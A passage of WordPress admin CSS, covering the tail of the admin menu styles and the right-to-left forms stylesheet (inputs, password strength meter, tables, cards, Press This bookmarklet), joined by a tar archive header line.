margin-top: -8px; } .folded ul#adminmenu li:hover a.wp-has-current-submenu:after, .folded ul#adminmenu li.wp-has-current-submenu:focus-within a.wp-has-current-submenu:after { display: none; } .folded ul#adminmenu a.wp-has-current-submenu:after, .folded ul#adminmenu > li a.current:after { border-width: 4px; margin-top: -4px; } /* flyout menu arrow */ #adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { right: 0; border: 8px solid transparent; content: " "; height: 0; width: 0; position: absolute; pointer-events: none; top: 10px; z-index: 10000; } .folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after, .folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-width: 4px; margin-top: -4px; top: 18px; } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-right-color: #2c3338; } #adminmenu li.menu-top:hover .wp-menu-image img, #adminmenu li.wp-has-current-submenu .wp-menu-image img { opacity: 1; filter: alpha(opacity=100); } #adminmenu li.wp-menu-separator { height: 5px; padding: 0; margin: 0 0 6px; cursor: inherit; } /* @todo: is this even needed given that it's nested beneath the above li.wp-menu-separator? */ #adminmenu div.separator { height: 2px; padding: 0; } #adminmenu .wp-submenu .wp-submenu-head { color: #fff; font-weight: 400; font-size: 14px; padding: 5px 4px 5px 11px; margin: -8px -1px 4px -5px; border-width: 3px 1px 3px 5px; border-style: solid; border-color: transparent; } #adminmenu li.current, .folded #adminmenu li.wp-menu-open { border: 0 none; } /* @todo: consider to use a single rule for these counters and the list table comments counters. */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { display: inline-block; vertical-align: top; box-sizing: border-box; margin: 1px 0 -1px 2px; padding: 0 5px; min-width: 18px; height: 18px; border-radius: 9px; background-color: #d63638; color: #fff; font-size: 11px; line-height: 1.6; text-align: center; z-index: 26; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins { background-color: #d63638; color: #fff; } #adminmenu li span.count-0 { display: none; } #collapse-button { display: block; width: 100%; height: 34px; margin: 0; border: none; padding: 0; position: relative; overflow: visible; background: none; color: #a7aaad; cursor: pointer; } #collapse-button:hover { color: #72aee6; } #collapse-button:focus { color: #72aee6; /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; outline-offset: -1px; } #collapse-button .collapse-button-icon, #collapse-button .collapse-button-label { /* absolutely positioned to avoid 1px shift in IE when button is pressed */ display: block; position: absolute; top: 0; left: 0; } #collapse-button .collapse-button-label { top: 8px; } #collapse-button .collapse-button-icon { width: 36px; height: 34px; } #collapse-button .collapse-button-label { padding: 0 0 0 36px; } .folded #collapse-button .collapse-button-label { display: none; } #collapse-button .collapse-button-icon:after { content: "\f148"; content: "\f148" / ''; display: block; position: relative; top: 7px; text-align: center; font: normal 20px/1 dashicons !important; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } /* rtl:ignore */ .folded #collapse-button .collapse-button-icon:after, .rtl #collapse-button .collapse-button-icon:after { transform: rotate(180deg); } .rtl.folded #collapse-button .collapse-button-icon:after { transform: none; } #collapse-button .collapse-button-icon:after, #collapse-button .collapse-button-label { transition: all .1s ease-in-out; } /** * Toolbar menu toggle */ li#wp-admin-bar-menu-toggle { display: none; } /* Hide-if-customize for items we can't add classes to */ .customize-support #menu-appearance a[href="themes.php?page=custom-header"], .customize-support #menu-appearance a[href="themes.php?page=custom-background"] { display: none; } /* Auto-folding of the admin menu */ @media only screen and (max-width: 960px) { .auto-fold #wpcontent, .auto-fold #wpfooter { margin-left: 36px; } .auto-fold #adminmenuback, .auto-fold #adminmenuwrap, .auto-fold #adminmenu, .auto-fold #adminmenu li.menu-top { width: 36px; } .auto-fold #adminmenu .wp-submenu.sub-open, .auto-fold #adminmenu .opensub .wp-submenu, .auto-fold #adminmenu .wp-has-current-submenu .wp-submenu.sub-open, .auto-fold #adminmenu .wp-has-current-submenu.opensub .wp-submenu, .auto-fold #adminmenu a.menu-top:focus + .wp-submenu, .auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu { top: 0; left: 36px; } .auto-fold #adminmenu a.wp-has-current-submenu:focus + .wp-submenu, .auto-fold #adminmenu .wp-has-current-submenu .wp-submenu { position: absolute; top: -1000em; margin-right: -1px; padding: 6px 0; z-index: 9999; } .auto-fold #adminmenu .wp-has-current-submenu .wp-submenu { min-width: 160px; width: auto; border: 1px solid transparent; border-left-width: 5px; } .auto-fold #adminmenu .wp-has-current-submenu li > a { padding-right: 16px; padding-left: 14px; } .auto-fold #adminmenu li.menu-top .wp-submenu > li > a { padding-left: 12px; } .auto-fold #adminmenu .wp-menu-name { position: absolute; left: -999px; } .auto-fold #adminmenu .wp-submenu-head { display: block; } .auto-fold #adminmenu div.wp-menu-image { height: 30px; width: 34px; position: absolute; z-index: 25; } .auto-fold #adminmenu a.menu-top { min-height: 34px; } .auto-fold #adminmenu li.wp-menu-open { border: 0 none; } .auto-fold #adminmenu .wp-has-current-submenu.menu-top-last { margin-bottom: 0; } .auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after, .auto-fold ul#adminmenu li:focus-within a.wp-has-current-submenu:after { display: none; } .auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after, .auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-width: 4px; margin-top: -4px; top: 16px; } .auto-fold ul#adminmenu a.wp-has-current-submenu:after, .auto-fold ul#adminmenu > li a.current:after { border-width: 4px; margin-top: -4px; } .auto-fold #adminmenu li.menu-top:hover, .auto-fold #adminmenu li.opensub > a.menu-top, .auto-fold #adminmenu li > a.menu-top:focus { z-index: 10000; } .auto-fold #collapse-menu .collapse-button-label { display: none; } /* rtl:ignore */ .auto-fold #collapse-button .collapse-button-icon:after { transform: rotate(180deg); } .rtl.auto-fold #collapse-button .collapse-button-icon:after { transform: none; } } @media screen and (max-width: 782px) { .auto-fold #wpcontent { position: relative; margin-left: 0; padding-left: 10px; } .sticky-menu #adminmenuwrap { position: relative; z-index: auto; top: 0; } /* Sidebar Adjustments */ .auto-fold #adminmenu, .auto-fold #adminmenuback, .auto-fold #adminmenuwrap { position: absolute; width: 190px; z-index: 100; } .auto-fold #adminmenuback { position: fixed; } .auto-fold #adminmenuback, .auto-fold #adminmenuwrap { display: none; } .auto-fold .wp-responsive-open #adminmenuback, .auto-fold .wp-responsive-open #adminmenuwrap { display: block; } .auto-fold #adminmenu li.menu-top { width: 100%; } /* Resize the admin menu items to a comfortable touch size */ .auto-fold #adminmenu li a { font-size: 16px; padding: 5px; } .auto-fold #adminmenu li.menu-top .wp-submenu > li > a { padding: 10px 10px 10px 20px; } /* Restore the menu names */ .auto-fold #adminmenu .wp-menu-name { position: static; } /* Switch the arrow side */ .auto-fold ul#adminmenu a.wp-has-current-submenu:after, .auto-fold ul#adminmenu > li.current > a.current:after { border-width: 8px; margin-top: -8px; } .auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after, .auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { display: none; } /* Make the submenus appear correctly when tapped. */ #adminmenu .wp-submenu { position: relative; display: none; } .auto-fold #adminmenu .selected .wp-submenu, .auto-fold #adminmenu .wp-menu-open .wp-submenu { position: relative; display: block; top: 0; left: -1px; box-shadow: none; } .auto-fold #adminmenu .selected .wp-submenu:after, .auto-fold #adminmenu .wp-menu-open .wp-submenu:after { display: none; } .auto-fold #adminmenu .opensub .wp-submenu { display: none; } .auto-fold #adminmenu .selected .wp-submenu { display: block; } .auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after, .auto-fold ul#adminmenu li:focus-within a.wp-has-current-submenu:after { display: block; } .auto-fold #adminmenu a.menu-top:focus + .wp-submenu, .auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu { position: relative; left: -1px; right: 0; top: 0; } #adminmenu .wp-not-current-submenu .wp-submenu, .folded #adminmenu .wp-has-current-submenu .wp-submenu, .auto-fold #adminmenu .wp-has-current-submenu .wp-submenu { border: none; } /* Remove submenu headers and adjust sub meu*/ #adminmenu .wp-submenu .wp-submenu-head { display: none; } /* Toolbar menu toggle */ #wp-responsive-toggle { position: fixed; top: 5px; left: 4px; padding-right: 10px; z-index: 99999; border: none; box-sizing: border-box; } #wpadminbar #wp-admin-bar-menu-toggle a { display: block; padding: 0; overflow: hidden; outline: none; text-decoration: none; border: 1px solid transparent; background: none; height: 44px; margin-left: -1px; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: #2c3338; } li#wp-admin-bar-menu-toggle { display: block; } #wpadminbar #wp-admin-bar-menu-toggle a:hover { border: 1px solid transparent; } #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { content: "\f228"; display: inline-block; float: left; font: normal 40px/45px dashicons; vertical-align: middle; outline: none; margin: 0; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; height: 44px; width: 50px; padding: 0; border: none; text-align: center; text-decoration: none; box-sizing: border-box; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: #72aee6; } } /* Smartphone */ @media screen and (max-width: 600px) { #adminmenuwrap, #adminmenuback { display: none; } .wp-responsive-open #adminmenuwrap, .wp-responsive-open #adminmenuback { display: block; } .auto-fold #adminmenu { top: 46px; } } css/forms-rtl.css 0000644 00000115716 15233246127 0010013 0 ustar 00 /*! This file is auto-generated */ /* Include margin and padding in the width calculation of input and textarea. */ input, select, textarea, button { box-sizing: border-box; font-family: inherit; font-size: inherit; font-weight: inherit; } textarea, input { font-size: 14px; } textarea { overflow: auto; padding: 8px 12px; /* inherits font size 14px */ line-height: 1.42857143; /* 20px */ resize: vertical; } input, select { margin: 0 1px; } textarea.code { padding: 8px 12px; } input[type="text"], input[type="password"], input[type="color"], input[type="date"], input[type="datetime"], input[type="datetime-local"], input[type="email"], input[type="month"], input[type="number"], input[type="search"], input[type="tel"], input[type="time"], input[type="url"], input[type="week"], select, textarea { box-shadow: 0 0 0 transparent; border-radius: 2px; border: 1px solid #949494; background-color: #fff; color: #1e1e1e; } input[type="text"], input[type="password"], input[type="date"], input[type="datetime"], input[type="datetime-local"], input[type="email"], input[type="month"], input[type="number"], input[type="search"], input[type="tel"], input[type="time"], input[type="url"], input[type="week"] { padding: 0 12px; /* inherits font size 14px */ min-height: 40px; } select { padding: 0 12px 0 24px; /* inherits font size 14px */ line-height: 2.71428571; /* 38px for 40px min-height */ min-height: 40px; } ::-webkit-datetime-edit { /* inherits font size 14px */ line-height: 1.85714286; /* 26px */ } input[type="text"]:focus, input[type="password"]:focus, input[type="color"]:focus, input[type="date"]:focus, input[type="datetime"]:focus, input[type="datetime-local"]:focus, input[type="email"]:focus, input[type="month"]:focus, input[type="number"]:focus, input[type="search"]:focus, input[type="tel"]:focus, input[type="time"]:focus, input[type="url"]:focus, input[type="week"]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } /* Checkbox and radio use outset focus style */ input[type="checkbox"]:focus, input[type="radio"]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } /* rtl:ignore */ .ltr, input[type="password"], input[type="email"], input[type="url"] { direction: ltr; } input[type="checkbox"], input[type="radio"] { border: 1px solid #1e1e1e; border-radius: 2px; background: #fff; color: #1e1e1e; clear: none; cursor: pointer; display: inline-block; line-height: 0; height: 1rem; margin: -0.25rem 0 0 0.25rem; outline: 0; padding: 0 !important; text-align: center; vertical-align: middle; width: 1rem; min-width: 1rem; -webkit-appearance: none; box-shadow: none; transition: .05s border-color ease-in-out; } input[type="radio"]:checked + label:before { color: #949494; } .wp-core-ui input[type="reset"]:hover, .wp-core-ui input[type="reset"]:active { color: #135e96; } td > input[type="checkbox"], .wp-admin p input[type="checkbox"], .wp-admin p input[type="radio"] { margin-top: 0; } .wp-admin p label input[type="checkbox"] { margin-top: -4px; } .wp-admin p label input[type="radio"] { margin-top: -2px; } input[type="radio"] { display: inline-flex; border-radius: 50%; margin-left: 0.25rem; align-items: center; justify-content: center; } input[type="checkbox"]:checked::before, input[type="radio"]:checked::before { float: right; display: inline-block; vertical-align: middle; width: 1rem; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } input[type="checkbox"]:checked::before { /* Use the "Yes" SVG Dashicon */ content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23ffffff%27%2F%3E%3C%2Fsvg%3E"); content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23ffffff%27%2F%3E%3C%2Fsvg%3E") / ''; margin: -0.1875rem -0.25rem 0 0; height: 1.3125rem; width: 1.3125rem; } input[type="checkbox"]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type="radio"]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type="radio"]:checked::before { content: ""; border-radius: 50%; width: 0.5rem; /* 8px */ height: 0.5rem; /* 8px */ margin: auto; background-color: #fff; /* Only visible in Windows High Contrast mode */ outline: 4px solid transparent; } @-moz-document url-prefix() { input[type="checkbox"], input[type="radio"], .form-table input.tog { margin-bottom: -1px; } } /* Search */ input[type="search"] { -webkit-appearance: textfield; } input[type="search"]::-webkit-search-decoration { display: none; } input[type="search"]::-webkit-search-cancel-button { cursor: pointer; } .wp-admin input[type="file"] { padding: 3px 0; cursor: pointer; } input.readonly, input[readonly], textarea.readonly, textarea[readonly] { background-color: #f0f0f0; } ::-webkit-input-placeholder { color: #757575; } ::-moz-placeholder { color: #757575; } .form-invalid .form-required, .form-invalid .form-required:focus, .form-invalid.form-required input, .form-invalid.form-required input:focus, .form-invalid.form-required select, .form-invalid.form-required select:focus { border-color: #d63638 !important; box-shadow: 0 0 2px rgba(214, 54, 56, 0.8); } .form-table .form-required.form-invalid td:after { content: "\f534"; content: "\f534" / ''; font: normal 20px/1 dashicons; color: #d63638; margin-right: -25px; vertical-align: middle; } /* Adjust error indicator for password layout */ .form-table .form-required.user-pass1-wrap.form-invalid td:after { content: ""; } .form-table .form-required.user-pass1-wrap.form-invalid .password-input-wrapper:after { content: "\f534"; content: "\f534" / ''; font: normal 20px/1 dashicons; color: #d63638; margin: 0 -29px 0 6px; vertical-align: middle; } .form-input-tip { color: #646970; } input:disabled, input.disabled, select:disabled, select.disabled, textarea:disabled, textarea.disabled { background: #f0f0f0; border-color: #cccccc; box-shadow: none; color: #949494; } input[type="file"]:disabled, input[type="file"].disabled, input[type="file"][aria-disabled="true"], input[type="range"]:disabled, input[type="range"].disabled, input[type="range"][aria-disabled="true"] { background: none; box-shadow: none; cursor: default; } input[type="checkbox"]:disabled, input[type="checkbox"].disabled, input[type="checkbox"][aria-disabled="true"], input[type="radio"]:disabled, input[type="radio"].disabled, input[type="radio"][aria-disabled="true"], input[type="checkbox"]:disabled:checked:before, input[type="checkbox"].disabled:checked:before, input[type="radio"]:disabled:checked:before, input[type="radio"].disabled:checked:before { opacity: 0.7; cursor: default; } /*------------------------------------------------------------------------------ 2.0 - Forms ------------------------------------------------------------------------------*/ /* Select styles are based on the default button in buttons.css */ .wp-core-ui select { font-size: 14px; line-height: 2.71428571; /* 38px for 40px min-height */ color: #1e1e1e; border-color: #949494; box-shadow: none; border-radius: 2px; padding: 0 12px 0 24px; min-height: 40px; max-width: 25rem; -webkit-appearance: none; /* The SVG is arrow-down-alt2 from Dashicons. */ background: #fff url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%231e1e1e%22%2F%3E%3C%2Fsvg%3E') no-repeat left 8px top 55%; background-size: 16px 16px; cursor: pointer; vertical-align: middle; } .wp-core-ui select:hover { color: #1e1e1e; border-color: #1e1e1e; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); color: #1e1e1e; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-core-ui select:active { border-color: #949494; box-shadow: none; } .wp-core-ui select.disabled, .wp-core-ui select:disabled { color: #a7aaad; border-color: #dcdcde; background-color: #f6f7f7; /* The SVG is arrow-down-alt2 from Dashicons. */ background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%23a0a5aa%22%2F%3E%3C%2Fsvg%3E'); box-shadow: none; text-shadow: 0 1px 0 #fff; cursor: default; transform: none; } .wp-core-ui select[aria-disabled="true"] { cursor: default; } /* Reset Firefox inner outline that appears on :focus. */ /* This ruleset overrides the color change on :focus thus needs to be after select:focus. */ .wp-core-ui select:-moz-focusring { color: transparent; text-shadow: 0 0 0 #0a4b78; } /* Remove background focus style from IE11 while keeping focus style available on option elements. */ .wp-core-ui select::-ms-value { background: transparent; color: #50575e; } .wp-core-ui select:hover::-ms-value { color: #1e1e1e; } .wp-core-ui select:focus::-ms-value { color: #0a4b78; } .wp-core-ui select.disabled::-ms-value, .wp-core-ui select:disabled::-ms-value { color: #a7aaad; } /* Hide the native down arrow for select element on IE. */ .wp-core-ui select::-ms-expand { display: none; } .wp-admin .button-cancel { display: inline-block; min-height: 28px; padding: 0 5px; line-height: 2; } .meta-box-sortables select { max-width: 100%; } .meta-box-sortables input { vertical-align: middle; } .misc-pub-post-status select { margin-top: 0; } .wp-core-ui select[multiple] { height: auto; padding-left: 8px; background: #fff; } .submit { padding: 1.5em 0; margin: 5px 0; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; border: none; } form p.submit a.cancel:hover { text-decoration: none; } p.submit { text-align: right; max-width: 100%; margin-top: 20px; padding-top: 10px; } .textright p.submit { border: none; text-align: left; } table.form-table + p.submit, table.form-table + input + p.submit, table.form-table + input + input + p.submit { border-top: none; padding-top: 0; } #minor-publishing-actions input, #major-publishing-actions input, #minor-publishing-actions .preview { text-align: center; } textarea.all-options, input.all-options { width: 250px; } input.large-text, textarea.large-text { width: 99%; } .regular-text { width: 25em; } input.small-text { width: 50px; padding: 0 8px; } label input.small-text { margin-top: -4px; } input[type="number"].small-text { width: 65px; padding-left: 4px; } input.tiny-text { width: 35px; } input[type="number"].tiny-text { width: 45px; padding-left: 0; } #doaction, #doaction2, #post-query-submit { margin: 0 0 0 8px; } /* @since 5.7.0 secondary bulk action controls require JS. */ .no-js label[for="bulk-action-selector-bottom"], .no-js select#bulk-action-selector-bottom, .no-js input#doaction2, .no-js label[for="new_role2"], .no-js select#new_role2, .no-js input#changeit2 { display: none; } .wp-core-ui .tablenav input[type="text"], .wp-core-ui .tablenav input[type="password"], .wp-core-ui .tablenav input[type="date"], .wp-core-ui .tablenav input[type="datetime"], .wp-core-ui .tablenav input[type="datetime-local"], .wp-core-ui .tablenav input[type="email"], .wp-core-ui .tablenav input[type="month"], .wp-core-ui .tablenav input[type="number"], .wp-core-ui .tablenav input[type="search"], .wp-core-ui .tablenav input[type="tel"], .wp-core-ui .tablenav input[type="time"], .wp-core-ui .tablenav input[type="url"], .wp-core-ui .tablenav input[type="week"], .wp-core-ui .tablenav select { padding: 0 12px; /* inherits font size 14px */ line-height: 2.14285714; /* 30px for 32px height with 14px font */ min-height: 32px; } .wp-core-ui .tablenav select { float: right; margin-left: 6px; max-width: 12.5rem; padding: 0 8px 0 24px; } .wp-core-ui .tablenav .button { min-height: 32px; line-height: 2.30769231; /* 30px for 32px height with 13px font */ padding: 0 12px; } #timezone_string option { margin-right: 1em; } .wp-core-ui .button.wp-hide-pw > .dashicons, .wp-core-ui .button.wp-cancel-pw > .dashicons { width: 1.25rem; height: 1.25rem; font-size: 20px; line-height: 1; vertical-align: middle; } .button.wp-hide-pw.user-new-password-toggle { display: inline-flex; align-items: center; column-gap: 4px; } .wp-cancel-pw .dashicons-no { display: none; } label, #your-profile label + a { vertical-align: middle; } fieldset label, #your-profile label + a { vertical-align: middle; } .options-media-php [for*="_size_"] { min-width: 10em; vertical-align: baseline; } .options-media-php .small-text[name*="_size_"] { margin: 0 0 1em; } .wp-generate-pw { margin-top: 1em; position: relative; } .wp-pwd button { height: min-content; } .wp-pwd { margin-top: 1em; position: relative; } .mailserver-pass-wrap .wp-pwd { display: inline-block; margin-top: 0; } /* rtl:ignore */ #mailserver_pass { padding-right: 2.5rem; } /* rtl:ignore */ .mailserver-pass-wrap .button.wp-hide-pw { background: transparent; border: 1px solid transparent; box-shadow: none; font-size: 14px; line-height: 2; width: 2.5rem; min-width: 40px; margin: 0; padding: 0 9px; position: absolute; right: 0; top: 0; } .mailserver-pass-wrap .button.wp-hide-pw:hover { background: transparent; border-color: transparent; } .mailserver-pass-wrap .button.wp-hide-pw:focus { background: transparent; border-color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 0.5px var(--wp-admin-theme-color); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .mailserver-pass-wrap .button.wp-hide-pw:active { background: transparent; box-shadow: none; transform: none; } #misc-publishing-actions label { vertical-align: baseline; } #pass-strength-result { background-color: #f0f0f0; border: 1px solid #cccccc; border-radius: 2px; color: #1e1e1e; margin: -1px 1px 5px; padding: 3px 5px; text-align: center; width: 25em; box-sizing: border-box; opacity: 0; } #pass-strength-result.short { background-color: #ffabaf; border-color: #e65054; opacity: 1; } #pass-strength-result.bad { background-color: #facfd2; border-color: #f86368; opacity: 1; } #pass-strength-result.good { background-color: #f5e6ab; border-color: #f0c33c; opacity: 1; } #pass-strength-result.strong { background-color: #b8e6bf; border-color: #68de7c; opacity: 1; } .password-input-wrapper { display: inline-block; } .password-input-wrapper input { font-family: Consolas, Monaco, monospace; } #pass1.short, #pass1-text.short { border-color: #e65054; } #pass1.bad, #pass1-text.bad { border-color: #f86368; } #pass1.good, #pass1-text.good { border-color: #f0c33c; } #pass1.strong, #pass1-text.strong { border-color: #68de7c; } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 0.5px var(--wp-admin-theme-color); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .pw-weak { display: none; } .indicator-hint { padding-top: 8px; } .wp-pwd [type="text"], .wp-pwd [type="password"] { margin-bottom: 0; /* Same height as the buttons */ min-height: 40px; } /* Hide the Edge "reveal password" native button */ .wp-pwd input::-ms-reveal { display: none; } #pass1-text, .show-password #pass1 { display: none; } #pass1-text::-ms-clear { display: none; } .show-password #pass1-text { display: inline-block; } /* Caps lock warning */ .wp-pwd .caps-warning { display: none; position: relative; background: #fcf9e8; border: 1px solid #f0c33c; color: #1d2327; padding: 6px 10px; top: -8px; } .profile-php .wp-pwd .caps-warning { padding: 3px 5px; top: -4px; border-radius: 2px; } .wp-pwd .caps-icon { display: inline-flex; justify-content: center; width: 20px; height: 20px; margin-left: 5px; vertical-align: middle; } .wp-pwd .caps-warning-text { vertical-align: middle; } /* Caps lock warning */ p.search-box { display: flex; flex-wrap: wrap; align-items: center; column-gap: 0.5rem; position: relative; float: left; margin: 11px 0; } p.search-box input[type="search"], p.search-box input[type="text"] { min-height: 32px; padding: 0 8px; } p.search-box .button { min-height: 32px; line-height: 2.30769231; /* 30px for 32px height with 13px font */ padding: 0 12px; } .network-admin.themes-php p.search-box { clear: right; } .tablenav .search-plugins input[name="s"] { float: right; margin: 0 0 0 4px; } .tagsdiv .newtag { margin: 0; } .js.plugins-php .search-box .wp-filter-search { margin: 0; width: 280px; } input[type="text"].ui-autocomplete-loading, input[type="email"].ui-autocomplete-loading { background-image: url(../images/loading.gif); background-repeat: no-repeat; background-position: left 5px center; visibility: visible; } input.ui-autocomplete-input.open { border-bottom-color: transparent; } ul#add-to-blog-users { margin: 0 14px 0 0; } .ui-autocomplete { padding: 0; margin: 0; list-style: none; position: absolute; z-index: 10000; border: 1px solid #4f94d4; box-shadow: 0 1px 2px rgba(79, 148, 212, 0.8); background-color: #fff; } .ui-autocomplete li { margin-bottom: 0; padding: 4px 10px; white-space: nowrap; text-align: right; cursor: pointer; } /* Colors for the wplink toolbar autocomplete. */ .ui-autocomplete .ui-state-focus { background-color: #dcdcde; } /* Colors for the tags autocomplete. */ .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected="true"] { background-color: var(--wp-admin-theme-color); color: #fff; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } /*------------------------------------------------------------------------------ 15.0 - Comments Screen ------------------------------------------------------------------------------*/ .form-table { border-collapse: collapse; margin-top: 0.5em; width: 100%; clear: both; } .form-table, .form-table td, .form-table th, .form-table td p { font-size: 14px; } .form-table td { margin-bottom: 9px; padding: 15px 10px; line-height: 1.3; vertical-align: middle; } .form-table th, .form-wrap label { color: #1d2327; font-weight: 400; text-shadow: none; vertical-align: baseline; } .form-table th { vertical-align: top; text-align: right; padding: 20px 0 20px 10px; width: 200px; line-height: 1.3; font-weight: 600; } .form-table th.th-full, /* Not used by core. Back-compat for pre-4.8 */ .form-table .td-full { width: auto; padding: 20px 0 20px 10px; font-weight: 400; } .form-table td p { margin-top: 4px; margin-bottom: 0; } .form-table .date-time-doc { margin-top: 1em; } .form-table p.timezone-info { margin: 1em 0; display: flex; flex-direction: column; } #local-time { margin-top: 0.5em; } .form-table td fieldset label { margin: 0.35em 0 0.5em !important; display: inline-block; } .form-table td fieldset p label { margin-top: 0 !important; } .form-table td fieldset label, .form-table td fieldset p, .form-table td fieldset li { line-height: 1.4; } .form-table .pre { padding: 8px; margin: 0; } table.form-table td .updated { font-size: 13px; } table.form-table td .updated p { font-size: 13px; margin: 0.3em 0; } /*------------------------------------------------------------------------------ 18.0 - Users ------------------------------------------------------------------------------*/ #profile-page .form-table textarea { width: 500px; margin-bottom: 6px; } #profile-page .form-table #rich_editing { margin-left: 5px } #your-profile legend { font-size: 22px; } #display_name { width: 15em; } #adduser .form-field input, #createuser .form-field input { width: 25em; } .color-option { display: inline-block; width: 24%; padding: 5px 15px 15px; box-sizing: border-box; margin-bottom: 3px; } .color-option:hover, .color-option.selected { background: #dcdcde; } .color-palette { display: table; width: 100%; border-spacing: 0; border-collapse: collapse; } .color-palette .color-palette-shade, .color-palette td { display: table-cell; height: 20px; padding: 0; border: none; } .color-option { cursor: pointer; } .create-application-password .form-field { max-width: 25em; } .create-application-password label { font-weight: 600; } .create-application-password p.submit { margin-bottom: 0; padding-bottom: 0; display: block; } #application-passwords-section .notice { margin-top: 20px; margin-bottom: 0; word-wrap: break-word; } .application-password-display input.code { margin-bottom: 6px; width: 100%; max-width: 20em; } .auth-app-card.card { max-width: 768px; } .authorize-application-php .form-wrap p { display: block; } /*------------------------------------------------------------------------------ 19.0 - Tools ------------------------------------------------------------------------------*/ .tool-box .title { margin: 8px 0; font-size: 18px; font-weight: 400; line-height: 24px; } .label-responsive { vertical-align: middle; } #export-filters p { margin: 0 0 1em; } #export-filters p.submit { margin: 7px 0 5px; } /* Card styles */ .card { position: relative; margin-top: 20px; padding: 16px 24px; min-width: 255px; max-width: 520px; border: 1px solid rgb(0, 0, 0, 0.1); border-radius: 8px; background: #ffffff; box-sizing: border-box; } /* Press this styles */ .pressthis h4 { margin: 2em 0 1em; } .pressthis textarea { width: 100%; font-size: 1em; } #pressthis-code-wrap { overflow: auto; } .pressthis-bookmarklet-wrapper { margin: 20px 0 8px; vertical-align: top; position: relative; z-index: 1; } .pressthis-bookmarklet, .pressthis-bookmarklet:hover, .pressthis-bookmarklet:focus, .pressthis-bookmarklet:active { display: inline-block; position: relative; cursor: move; color: #2c3338; background: #dcdcde; border-radius: 5px; border: 1px solid #c3c4c7; font-style: normal; line-height: 16px; font-size: 14px; text-decoration: none; } .pressthis-bookmarklet:active { outline: none; } .pressthis-bookmarklet:after { content: ""; width: 70%; height: 55%; z-index: -1; position: absolute; left: 10px; bottom: 9px; background: transparent; transform: skew(-20deg) rotate(-6deg); box-shadow: 0 10px 8px rgba(0, 0, 0, 0.6); } .pressthis-bookmarklet:hover:after { transform: skew(-20deg) rotate(-9deg); box-shadow: 0 10px 8px rgba(0, 0, 0, 0.7); } .pressthis-bookmarklet span { display: inline-block; margin: 0; padding: 0 9px 8px 12px; } .pressthis-bookmarklet span:before { color: #787c82; font: normal 20px/1 dashicons; content: "\f157"; content: "\f157" / ''; position: relative; display: inline-block; top: 4px; margin-left: 4px; } .pressthis-js-toggle { margin-right: 10px; padding: 0; height: auto; vertical-align: top; } /* to override the button class being applied */ .pressthis-js-toggle.button.button { margin-right: 10px; padding: 0; height: auto; vertical-align: top; } .pressthis-js-toggle .dashicons { margin: 5px 7px 6px 8px; color: #50575e; } 